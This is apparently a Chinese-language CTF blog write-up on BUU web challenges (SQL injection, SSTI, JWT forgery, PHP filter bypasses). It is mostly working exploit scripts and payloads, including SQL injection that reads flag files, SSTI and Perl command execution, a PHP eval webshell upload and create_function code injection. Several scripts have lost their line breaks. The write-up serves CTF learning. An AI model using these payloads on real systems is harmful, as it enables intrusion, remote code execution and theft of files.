BUU-WEB

这是一个菜鸡的蜕变

先小记录一下题目环境部署必备的docker安装

sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg lsb-release
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install docker-ce docker-ce-cli containerd.io
sudo docker run hello-world

docker-compose

sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-composesudo ln -s /usr/local/bin/docker-compose /usr/bin/docker-compose

0x01 [Zer0pts2020]Can you guess it?

知识点

全局变量:$_SERVER['PHP_SELF'] 获取当前的path。

basename: 自动去除文件名中不属于常规字符部分

解题

这里他会获取index.php/config.php

$_SERVER[‘PHP_SELF’]表示当前执行脚本的文件名,当使用了PATH_INFO时,这个值是可控的。所以可以尝试

0x02 [CISCN2019 华北赛区 Day1 Web5]CyberPunk

知识点

简易的代码审计+sql注入的二次注入

解题

先是伪协议读取文件源码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8z0oFAkx-1639377924683)(https://i.loli.net/2021/07/04/wc3eS4bJa56XKGO.png)]

然后用下面的exp

import requests,string,random
tmp_str= string.printableconfirm_url = "http://cc79c7c7-3a1d-4bf7-acae-d84be955a0b9.node4.buuoj.cn/confirm.php"
change_url = "http://cc79c7c7-3a1d-4bf7-acae-d84be955a0b9.node4.buuoj.cn/change.php"payload = "'/**/and/**/(updatexml(1,concat(0x7e,substr((select load_file('/flag.txt')),31,64),0x7e),1));#"confirm_data = {"user_name":'4',"address":payload,"phone":"1"
}change_data = {"user_name":'4',"address":"1","phone":"1"
}print(requests.post(confirm_url,data=confirm_data).text)
print(requests.post(change_url,data=change_data).text)

0x03 [CSCCTF 2019 Qual]FlaskLight

知识点

无过滤SSTI

解题

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat  flasklight/coomme_geeeett_youur_flek').read()}}{%endif%}{%endfor%}

0x04 [RCTF2015]EasySQL

这道题的注入点是一个很骚的东西,直接上fuzz

然后我就开始了随便乱尝试的过程,在注册和登录均没有发现问题

然后还是在这个地方, 我采取了另外一种方式,更改密码的位置,我以为这里是一个任意密码更改的问题,但是我错,这里是一个报错注入,这样我就明白了。

一般着这种可以成功登录的题目,题目之后一般就是一个二次注入,不然她不会在外层加一个套壳的。

那么现在就可以开始利用了。

exp: 就过了空格

import requests,random
url = "http://48e9d750-45da-4bf0-9a2d-b31d31dc5f17.node4.buuoj.cn/"
register_url = url + "register.php"
login_url = url + "login.php"
passwdUrl = url + "changepwd.php"def register(s,payload):data = {"username":payload,"password":"123","email":"123"}s.post(register_url,data=data)
def login(s,payload):data = {"username":payload,"password":"123"}print(s.post(login_url,data=data).text)
def changePasswd(s):data = {'oldpass' : '','newpass' : '',}print(s.post(passwdUrl,data=data).text)
if __name__ == '__main__':#payload = str(random.randint(1,9999))+'dem0"'+ "||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#"payload = str(random.randint(1,9999))+'dem0"'+ "||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#"s = requests.session()register(s,payload)login(s,payload)changePasswd(s)

0x05 [网鼎杯 2018]Comment

知识点

git源码泄露 弱密码 二次注入

解题

前面的都是常规操作不做讲解了。主要讲一下二次注入

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){header("Location: ./login.php");die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':$category = addslashes($_POST['category']);$title = addslashes($_POST['title']);$content = addslashes($_POST['content']);$sql = "insert into boardset category = '$category',title = '$title',content = '$content'";$result = mysql_query($sql);header("Location: ./index.php");break;
case 'comment':$bo_id = addslashes($_POST['bo_id']);$sql = "select category from board where id='$bo_id'";$result = mysql_query($sql);$num = mysql_num_rows($result);if($num>0){$category = mysql_fetch_array($result)['category'];//直接从数据库中取出来的$content = addslashes($_POST['content']);$sql = "insert into commentset category = '$category',content = '$content',bo_id = '$bo_id'";$result = mysql_query($sql);}header("Location: ./comment.php?id=$bo_id");break;
default:header("Location: ./index.php");
}
}
else{header("Location: ./index.php");
}
?>

这里我在源码处标识出来了,这里需要注意的一个地方就是在做的时候#是单行注释 /**/这个才是块注释

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kye9amqy-1639377924685)(https://i.loli.net/2021/07/14/j3cYuXeI6ngbRaH.png)]

select(load_file("/tmp/.DS_Store"))
flag_8946e1ff1ee3e40f.php
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*

下面就是对一些敏感文件的读取了

.bash_history

0x06 [HITCON 2017]SSRFme

知识点

perl GET命令的命令执行漏洞 => open命令导致 前提是文件本身需要存在

payload: GET file:bash -c /readflag|需要文件 bash -c /readflag| 这个文件名存在

pathinfo() 函数以数组的形式返回文件路径的信息。

解题

?url=file:ls /|&filename=ls /|

这样我们会看到在根目录有readflag,那么这个题肯定就是去执行这个命令。那么现在我们存在一个问题,如果直接/readflag 创建的文件在根目录下我们不能读取,那么最好的办法就是 bash -c

?url=file:bash -c /readflag|&filename=bash -c /readflag|

管道符是用来拼接在perl中的源码的。

0x07 [HFCTF2020]EasyLogin

知识点

nodejs koa框架常用目录,文件

jwt攻击

参考连接:https://www.freebuf.com/articles/web/181261.html

1. 爆破密钥2. 将加密方式改为'none'=> 一些服务器会支持 后续贴上伪造脚本3.将算法RS256修改为HS256(非对称密码算法=>对称密码算法)

以上三种是在ctf中常用的攻击手段,其他具体的手段还是得看上面的文章中

伪造

import jwttoken = jwt.encode({  "secretid": [],  "username": "admin",  "password": "123456",  "iat": 1595991011},algorithm="none",key="")print(token)

解题

发现了一个奇怪的目录

读取他的api controller/api.js 拿到源码之后

'POST /api/login': async (ctx, next) => {        const {username, password} = ctx.request.body;        if(!username || !password) {            throw new APIError('login error', 'username or password is necessary');        }        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;        console.log(sid)        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {            throw new APIError('login error', 'no such secret id');        }        const secret = global.secrets[sid];        const user = jwt.verify(token, secret, {algorithm: 'HS256'});        const status = username === user.username && password === user.password;        if(status) {            ctx.session.username = username;        }        ctx.rest({            status        });        await next();    },

这里注意漏洞点在于

这里就可以

secret为空的时候,就会执行none的解密方法。后面不讲了。

const secret = global.secrets[sid];通过这一句就可以将他制空。

0x08 [NCTF2019]SQLi

贴个脚本

import requestsfrom urllib import parseimport stringurl = "http://01c27793-e7de-403c-8922-cf3a7970c82a.node4.buuoj.cn:81/"strings= string.ascii_lowercase + string.digits + '_'#密码由小写字母 数字 下划线组成(实验证明password  = 'you_will_never_know7788990'for x in range(60):  for j in strings:       payload = {        "username":"\\",        "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format(password+j,parse.unquote("%00"))        }       print(password+j)      res = requests.post(url=url,data=payload)        if 'welcome' in res.text:         password += j         break       if j=='_' and 'welcome' not in res.text:          break

拿到密码完事大吉。=可以用regexp代替,‘可以用\绕过,可以用"代替,…%00在mysql同样可以用,yyds。

0x09 [HarekazeCTF2019]encode_and_encode

<?phpshow_source(__FILE__);function is_valid($str) {  $banword = [    // no path traversal    '\.\.',    // no stream wrapper    '(php|file|glob|data|tp|zip|zlib|phar):',    // no data exfiltration    'flag'  ];  $regexp = '/' . implode('|', $banword) . '/i';  if (preg_match($regexp, $str)) {    echo $regexp;    return false;  }  return true;}$body = file_get_contents('php://input');$json = json_decode($body, true);if (is_valid($body) && isset($json) && isset($json['page'])) {  $page = $json['page'];  $content = file_get_contents($page);  if (!$content || !is_valid($content)) {    $content = "<p>not found</p>\n";  }} else {  $content = '<p>invalid request</p>';}// no data exfiltration!!!$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);echo json_encode(['content' => $content]);

考察到了一个姿势点,编码绕过关键字限制。json支持unicode自动转码,因为json不支持中文

0xA [WUSTCTF2020]CV Maker

后台头像文件上传 ,GIF89A绕过

0xB [RootersCTF2019]I_❤️_Flask

学会了使用arjun,爆破参数和目录。

python3 arjun -u http://270ecd40-84d3-4667-bee9-04c7c2aeb5c2.node3.buuoj.cn/ -c 100 -d 5

-d 是延迟5秒,防d。

0xC [CISCN2019 华东南赛区]Double Secret

参数secret,传入参数之后会有返回值,传入一个中文报错,源码泄露。

知道是rc4解密再SSTI,所以我们反其道而行之就可以了。

import base64from urllib.parse import quotedef rc4_main(key = "init_key", message = "init_message"):    # print("RC4加密主函数")    s_box = rc4_init_sbox(key)    crypt = str(rc4_excrypt(message, s_box))    return  cryptdef rc4_init_sbox(key):    s_box = list(range(256))    # print("原来的 s 盒:%s" % s_box)    j = 0    for i in range(256):        j = (j + s_box[i] + ord(key[i % len(key)])) % 256        s_box[i], s_box[j] = s_box[j], s_box[i]    # print("混乱后的 s 盒:%s"% s_box)    return s_boxdef rc4_excrypt(plain, box):    # print("调用加密程序成功。")    res = []    i = j = 0    for s in plain:        i = (i + 1) % 256        j = (j + box[i]) % 256        box[i], box[j] = box[j], box[i]        t = (box[i] + box[j]) % 256        k = box[t]        res.append(chr(ord(s) ^ k))    cipher = "".join(res)    print("%s" %quote(cipher))    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")

0x0D [GYCTF2020]EasyThinking

THINKphp6的任意文件操作漏洞复现,加上yi剑绕过disable。

0x0E [NPUCTF2020]ezinclude

hash扩展攻击 但是设置好像有问题直接输出了,所以直接考虑输入cookie的hash,然后利用文件包含,php7的特性。

php://filter/string.strip_tags/resource=/etc/passwdphp7 老版本通杀:php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA
import requestsfrom io import BytesIOurl = "http://959b349a-2c6c-4b04-9799-5e5e1a74035a.node4.buuoj.cn:81/" + "/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"payload = "<?php eval($_POST[a]);?>"files={    "file": ('foo.png', BytesIO(payload.encode()), 'image/png')}print(requests.post(url,files=files,allow_redirects=False))

0x0F [BJDCTF2020]EzPHP

<?phphighlight_file(__FILE__);error_reporting(0); $file = "1nD3x.php";$shana = $_GET['shana'];$passwd = $_GET['passwd'];$arg = '';$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) {     if (   preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])        )          die('You seem to want to do something bad?'); }if (!preg_match('/http|https/i', $_GET['file'])) {    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {         $file = $_GET["file"];         echo "Neeeeee! Good Job!<br>";    } } else die('fxck you! What do you want to do ?!');if($_REQUEST) {     foreach($_REQUEST as $value) {         if(preg_match('/[a-zA-Z]/i', $value))              die('fxck you! I hate English!');     } } if (file_get_contents($file) !== 'debu_debu_aqua')    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){    extract($_GET["flag"]);    echo "Very good! you know my password. But what is flag?<br>";} else{    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");}if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {     die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else {     include "flag.php";    $code('', $arg); } ?>This

这个题本身来说,考点是很多,我们一层一层来打开分析。

POST /1nD3x.php?%64%65%62%75=%61qua%5fis%5fcut%65%0a&file=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%6c%61%69%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// HTTP/1.1Host: 153b8623-e453-4191-bc43-77facb42b781.node4.buuoj.cn:81Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 17debu=1&file=1

第一层 $SERVER 不会对接受到的数据进行urldecode,所以我们就可以嘿嘿

第二层

if (!preg_match('/http|https/i', $_GET['file'])) {    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {         $file = $_GET["file"];         echo "Neeeeee! Good Job!<br>";    } } else die('fxck you! What do you want to do ?!');

正则表达式的绕过 就两种方式 回溯和%0a

和我们预测的一样

第三层

if($_REQUEST) {     foreach($_REQUEST as $value) {         if(preg_match('/[a-zA-Z]/i', $value))              die('fxck you! I hate English!');     } }

这一层其实我是不会的

可以看出 这里获取了 请求的数据,然后沃恩借鉴另外一道题。

我们知道 $_REQUEST 同时接受 GET 和 POST 的数据,并且 POST 具有更高的优先值 //其实我不知道

这个是在php.ini中写到的。

; This directive determines which super global arrays are registered when PHP; starts up. G,P,C,E & S are abbreviations for the following respective super; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty; paid for the registration of these arrays and because ENV is not as commonly; used as the others, ENV is not recommended on productions servers. You; can still get access to the environment variables through getenv() should you; need to.; Default Value: "EGPCS"; Development Value: "GPCS"; Production Value: "GPCS";; http://php.net/variables-ordervariables_order = "GPCS"

第四层 data伪协议不用多说,我就不贴,记得上传同名

第五层 sha1 不用说了。直接上王炸

create_function()的代码注入,先来一个例子来说一下,这个函数一个是参数列表,一个code。

function myfunc($a,$b){  return $a + $b;}

这样的话,我们如果传入

return $a + $b;} eval($_GET[A]);//

function myfunc($a,$b){  return $a+$b;} eval($_GET[A]);//}

然后 我们回到这道题

if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {     die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else {     include "flag.php";    $code('', $arg); } ?>This

可以看到许多的命令都没有了,所以我们必须得想个办法,来获取源码 ,或者利用已经flag.php,我们来看看有没有什么变量可以直接食用。

第一种 获得其中的变量get_defined_vars()

然后我们就会要想办法拿到正flag,我们现在需要考虑的就是,如何包含进来真flag,如何绕过flag关键字,如何无参数执行。

require(base64_decode(MWZsYWcucGhw));

这个简直完美,他即可以不用括号用引号,也可以这样。包含即可,其中绕过还可以用php 无字母数字webshell绕过方式

第二种 就是 require 为协议读源码

require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%CE%99%93%9E%98%D1%8F%97%8F));//

异或也是可以的

require(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%ce%99%93%9e%98%d1%8f%97%8f^%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff);//
efine(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);

绕过$不能引用变量的最好方式就是使用define 定义常量。

require(get_defined_vars()[_GET][rce]);

preg_match 不会匹配数组,所以数组不用考虑。

0x10 [HFCTF2020]JustEscape

[BUU刷题记录]day01-起步相关推荐

  1. BUU刷题记录——Misc(一)

    文章目录 前言: 1.九连环 2.面具下的flag 3.刷新过的图片 4.snake 5.[BJDCTF 2nd]圣火昭昭 前言: 最近学习之余在BUU上刷了几道misc题,有一些没接触过的知识,挺有 ...

  2. BUU刷题记录——5

    October 2019 Twice SQL Injection 由题目名可知为二次注入 username =1' union select database() # username =1' uni ...

  3. BUU刷题记录(四)

    以下几题的ciscn是我先抽出来做的,因为不久就是ciscn,所以看看之前的题目,先不按顺序 十七.ciscn_2019_n_3 照例checksec一下 开启了nx和canary,relro只开启部 ...

  4. BUU刷题记录——6

    [De1CTF 2019]Giftbox De1CTF Web WriteUp – 赵 login命令处盲注获取登录密码 登陆后其他可用命令 targeting code position => ...

  5. 2021-5-5 buu刷题记录

    生活所迫,从头捡回来 第一题: CTF-BUUCTF-[HCTF 2018]WarmUp php代码审计题 四个if判断 只有最后一个走得通,就是把第二个?进行2次url加密 然后得到%253f 然后 ...

  6. buu刷题记录 [PWNHUB 公开赛 2018]傻 fufu 的工作日

    [PWNHUB 公开赛 2018]傻 fufu 的工作日 [PWNHUB 公开赛 2018]傻 fufu 的工作日(上传差异绕过) | (guokeya.github.io) /index.php.b ...

  7. LeetCode刷题记录15——21. Merge Two Sorted Lists(easy)

    LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) 目录 LeetCode刷题记录15--21. Merge Two Sorted Lists(easy) ...

  8. LeetCode刷题记录14——257. Binary Tree Paths(easy)

    LeetCode刷题记录14--257. Binary Tree Paths(easy) 目录 前言 题目 语言 思路 源码 后记 前言 数据结构感觉理论简单,实践起来很困难. 题目 给定一个二叉树, ...

  9. LeetCode刷题记录13——705. Design HashSet(easy)

    LeetCode刷题记录13--705. Design HashSet(easy) 目录 LeetCode刷题记录13--705. Design HashSet(easy) 前言 题目 语言 思路 源 ...

最新文章

  1. 编译内核指定模块,筛选当前模块依赖的组件
  2. 2021全国高校计算机能力挑战赛(初赛)Java试题二
  3. 【创新应用】未来10年,这些黑科技必将颠覆我们的生活
  4. 如何用ABP框架快速完成项目(面向项目交付编程面向客户编程篇) - 广州.net微软技术俱乐部12月份活动报名帖...
  5. [ExtJS5学习笔记]第三十五条 sencha extjs 5 组件查询方法
  6. Django系列:(1)PyCharm下创建并运行我们的第一个Django工程
  7. 容器编排技术 -- kubeadm 实现细节
  8. 案例学习BlazeDS+Spring之二Spring BlazeDS Integration 101
  9. c语言判断字符串合法标识符,HDU 2024 C语言合法标识符(以及一些关于输入和ctype.h的内容)...
  10. Java常见面试题:Oracle JDK 和 OpenJDK 的区别?
  11. FBI为车主支招:如何预防汽车黑客
  12. OpenCV-图像处理(05、图像混合)
  13. unity摄影机depth模式_[蛮牛教程] Unity3D 浅析-Camera(摄像机)
  14. 一点点读懂regulator(二)
  15. win10连接无线网一直在连接到服务器,Win10无线总是掉线怎么回事 Win10无线网络总是掉线的快速解决办法(超管用)...
  16. SyntaxError: invalid syntax都可能是是什么错!!!(持续更新)
  17. 硅谷课堂第十一课-公众号消息和微信授权
  18. 硬件测试点案例(四个)
  19. [论文品读]·d-vector解读(Deep Neural Networks for Small Footprint Text-Dependent Speaker Verification)
  20. 关闭mina服务_mina 关闭服务器

热门文章

  1. Git - GitWeb
  2. 2013年各大小IT公司待遇,绝对真实,一线数据!(初版)
  3. 嵌入式单片机基础篇(二十七)之Stm32F103单片机给蓝牙模块发送AT指令程序
  4. 【Python办公自动化】快速将excel按照某列不同的值批量拆分
  5. SQL 添加、删除、更改字段(属性)
  6. 基于QT5.8+STM32F103的电压采集和实时电压数据的动态显示实例(二)
  7. CC2530基础实验:(1)按键控制LED跑马灯
  8. 最短路计数(入门最短路)
  9. 机器学习入门的书单(数据挖…
  10. Linux系统下的文件传输